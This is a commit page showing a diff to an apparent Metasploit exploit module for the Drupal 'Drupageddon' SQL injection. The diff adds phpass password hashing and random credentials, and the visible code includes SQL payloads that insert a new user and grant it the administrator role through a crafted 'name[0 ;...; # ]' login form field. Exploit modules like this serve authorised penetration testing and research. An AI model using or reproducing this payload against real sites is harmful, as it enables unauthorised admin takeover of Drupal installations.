Skip to content

Commit c8dd08f

Browse files
committed
password hashing
1 parent 9bab77e commit c8dd08f

File tree

1 file changed

+49
-28
lines changed

1 file changed

+49
-28
lines changed

modules/exploits/multi/http/drupal_drupageddon.rb

Lines changed: 49 additions & 28 deletions
Original file line numberDiff line numberDiff line change
@@ -47,7 +47,8 @@ def initialize(info={})
4747

4848
register_advanced_options(
4949
[
50-
OptString.new('ADMIN_ROLE', [ true, "The administrator role", 'administrator'])
50+
OptString.new('ADMIN_ROLE', [ true, "The administrator role", 'administrator']),
51+
OptInt.new('ITER', [ true, "Hash iterations (2^ITER)", 10])
5152
], self.class)
5253
end
5354

@@ -59,52 +60,75 @@ def admin_role
5960
datastore['ADMIN_ROLE']
6061
end
6162

63+
def iter
64+
datastore['ITER']
65+
end
66+
67+
def itoa64
68+
'./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
69+
end
70+
71+
# PHPs PHPASS base64 method
72+
def phpass_encode64(input, count)
73+
out = ''
74+
cur = 0
75+
while cur < count
76+
value = input[cur].ord
77+
cur += 1
78+
out << itoa64[value & 0x3f]
79+
if cur < count
80+
value |= input[cur].ord << 8
81+
end
82+
out << itoa64[(value >> 6) & 0x3f]
83+
break if cur >= count
84+
cur += 1
85+
86+
if cur < count
87+
value |= input[cur].ord << 16
88+
end
89+
out << itoa64[(value >> 12) & 0x3f]
90+
break if cur >= count
91+
cur += 1
92+
out << itoa64[(value >> 18) & 0x3f]
93+
end
94+
out
95+
end
96+
6297
def generate_password_hash(pass)
6398
# Syntax for MD5:
6499
# $P$ = MD5
65-
# one char representing the hash iterations (min 7 iterations)
100+
# one char representing the hash iterations (min 7)
66101
# 8 chars salt
67102
# MD5_raw(salt.pass) + iterations
68-
# MD5 base64 encoded and trimmed to 22 chars for md5
69-
70-
# VALID md5 for salt 12345678 and password test
71-
#$P$812345678BWHQIqn5fZNJ.YWj7Kb39.
72-
73-
pass = 'test'
74-
iter = 10
75-
iter_char_base = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
76-
iter_char = iter_char_base[iter]
77-
#salt = Rex::Text.rand_text_alpha(8)
78-
salt = '12345678'
103+
# MD5 phpass base64 encoded (!= encode_base64) and trimmed to 22 chars for md5
104+
iter_char = itoa64[iter]
105+
salt = Rex::Text.rand_text_alpha(8)
79106
md5 = Rex::Text.md5_raw("#{salt}#{pass}")
80-
1.upto(iter) {
107+
# convert iter from log2 to integer
108+
iter_count = 2**iter
109+
1.upto(iter_count) {
81110
md5 = Rex::Text.md5_raw("#{md5}#{pass}")
82111
}
83-
md5_base64 = Rex::Text.encode_base64(md5)
112+
md5_base64 = phpass_encode64(md5, md5.length)
84113
md5_stripped = md5_base64[0...22]
85114
pass = "$P$#{iter_char}#{salt}#{md5_stripped}"
86-
#puts pass
115+
vprint_debug("#{peer} - password hash: #{pass}")
87116

88-
# return hardcoded password test for now
89-
return '$S$D7hqYeEHohfN2JLg7L4JBa8P3HBX8vimkIehutyb3BptkWMMON/d'
117+
return pass
90118
end
91119

92120
def sql_insert_user(user, pass)
93-
"insert into users (uid, name, pass, mail, status) select max(uid)+1, '#{user}', '#{(generate_password_hash(pass))}', '#{Rex::Text.rand_text_alpha_lower(5)}@#{Rex::Text.rand_text_alpha_lower(5)}.#{Rex::Text.rand_text_alpha_lower(3)}', 1 from users"
121+
"insert into users (uid, name, pass, mail, status) select max(uid)+1, '#{user}', '#{generate_password_hash(pass)}', '#{Rex::Text.rand_text_alpha_lower(5)}@#{Rex::Text.rand_text_alpha_lower(5)}.#{Rex::Text.rand_text_alpha_lower(3)}', 1 from users"
94122
end
95123

96124
def sql_make_user_admin(user)
97-
"insert into users_roles (uid, rid) VALUES ((select uid from users where name='#{user}'), (select rid from role where name = '#{admin_role}'));"
125+
"insert into users_roles (uid, rid) VALUES ((select uid from users where name='#{user}'), (select rid from role where name = '#{admin_role}'))"
98126
end
99127

100128
def extract_form_ids(content)
101129
form_build_id = $1 if content =~ /name="form_build_id" value="(.+)" \/>/
102130
form_token = $1 if content =~ /name="form_token" value="(.+)" \/>/
103131

104-
unless form_token and form_build_id
105-
fail_with(Failure::Unknown, "Could not parse form tokens")
106-
end
107-
108132
vprint_debug("#{peer} - form_build_id: #{form_build_id}")
109133
vprint_debug("#{peer} - form_token: #{form_token}")
110134

@@ -113,7 +137,6 @@ def extract_form_ids(content)
113137

114138
def exploit
115139

116-
# TODO: Password hashing function
117140
# TODO: Check if option admin_role exists via admin/people/permissions/roles
118141

119142
# call login page to extract tokens
@@ -136,9 +159,7 @@ def exploit
136159
end
137160

138161
user = Rex::Text.rand_text_alpha(10)
139-
#pass = Rex::Text.rand_text_alpha(10)
140-
# TODO: hardcoded for now
141-
pass = 'test'
162+
pass = Rex::Text.rand_text_alpha(10)
142163

143164
post = {
144165
"name[0 ;#{sql_insert_user(user, pass)}; #{sql_make_user_admin(user)}; # ]" => Rex::Text.rand_text_alpha(10),

0 commit comments

Comments
 (0)